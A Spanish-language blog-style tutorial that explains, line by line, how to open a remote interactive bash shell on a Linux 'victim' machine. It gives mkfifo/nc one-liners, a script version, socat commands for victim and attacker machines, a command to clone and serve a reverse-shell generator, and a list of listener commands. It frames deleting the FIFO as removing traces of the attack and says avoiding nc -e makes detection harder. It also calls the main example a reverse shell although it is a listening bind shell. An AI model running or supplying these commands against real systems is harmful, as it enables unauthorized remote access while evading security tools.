• Crear un shell reverso moderno en Linux

    La nueva manera de crear un shell reverso en una distro de Linux es la siguiente:

    mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 4444 > /tmp/f; rm /tmp/f

    Explicación:

    • mkfifo /tmp/f: mkfifo crea un FIFO (First-In-First-Out), que es un tipo especial de archivo llamado pipe (tubería con nombre). /tmp/f es el archivo FIFO que se crea. Un FIFO actúa como un canal de comunicación: un proceso puede escribir en él y otro proceso puede leer de él.
    • cat /tmp/f: Intenta leer continuamente del FIFO /tmp/f.
    • | /bin/bash -i: La entrada leída por cat se pasa a /bin/bash -i, lo que significa que cualquier entrada en /tmp/f será ejecutada como comandos en una shell interactiva (-i).
    • 2>&1: Redirige los errores estándar (stderr, descriptor 2) a la salida estándar (stdout, descriptor 1), para que todo el resultado se maneje en un solo flujo.
    • | nc -l -p 4444: Netcat (nc) escucha en el puerto 4444 y espera conexiones entrantes. Cualquier dato enviado desde el cliente remoto se pasará al shell /bin/bash.
    • > /tmp/f: La salida de nc (que incluye el resultado de los comandos ejecutados) se escribe nuevamente en el FIFO /tmp/f, permitiendo la comunicación bidireccional.
    • rm /tmp/f: Una vez que termina el proceso, el FIFO /tmp/f es eliminado para limpiar cualquier rastro del ataque.

    ¿Cómo funciona en la práctica?

    Netcat queda a la espera de conexiones en el puerto 4444. Cuando alguien se conecta usando:

    nc <IP> 4444

    … la conexión se redirige a /bin/bash, creando una shell remota interactiva. El FIFO /tmp/f permite enviar y recibir datos de manera eficiente sin usar -e, lo que lo hace más difícil de detectar por herramientas de seguridad.

    También podemos hacerlo metiendo todo el pipeline dentro de una subshell, ejecutando directamente en la terminal de bash:

    mkfifo /tmp/f
    (
      cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 4444 > /tmp/f
    )
    rm /tmp/f
    

    O podemos crear un script con el siguiente texto:

    #!/usr/bin/env bash
    
    mkfifo /tmp/f
    
    # Usar un trap para que el FIFO se borre aunque se interrumpa el script
      trap 'rm -f /tmp/f' EXIT
    
    cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 4444 > /tmp/f
    

    También podemos utilizar socat:

    En la máquina víctima:

    socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr

    En la máquina atacante:

    socat file:`tty`,raw,echo=0 TCP:<IP_de_la_víctima>:4444

     

    EXTRA: Con este comando podemos levantar un servidor web local donde se nos proporcionará una herramienta para crear diversos shell reversos:

    cd /tmp && git clone https://github.com/0dayCTF/reverse-shell-generator.git; cd reverse-shell-generator && python3 -m http.server 8080

     

    socat -v TCP-LISTEN:44444,reuseaddr,fork STDOUT

    socat -d -d STDIO SCTP-LISTEN:4444,reuseaddr

    socat -d -d STDIO TCP-LISTEN:4444,reuseaddr

    socat -d -d STDIO SCTP-LISTEN:4444,reuseaddr 2> debug.log

    socat -d -d STDIO TCP:<IP_de_la_víctima>:4444,pty,ctty,raw,echo=0,setsid,sigint,sane

    socat -d -d SCTP-LISTEN:4444,reuseaddr file:`tty`,raw,echo=0

    nc -lvnp 44444


    Deja una respuesta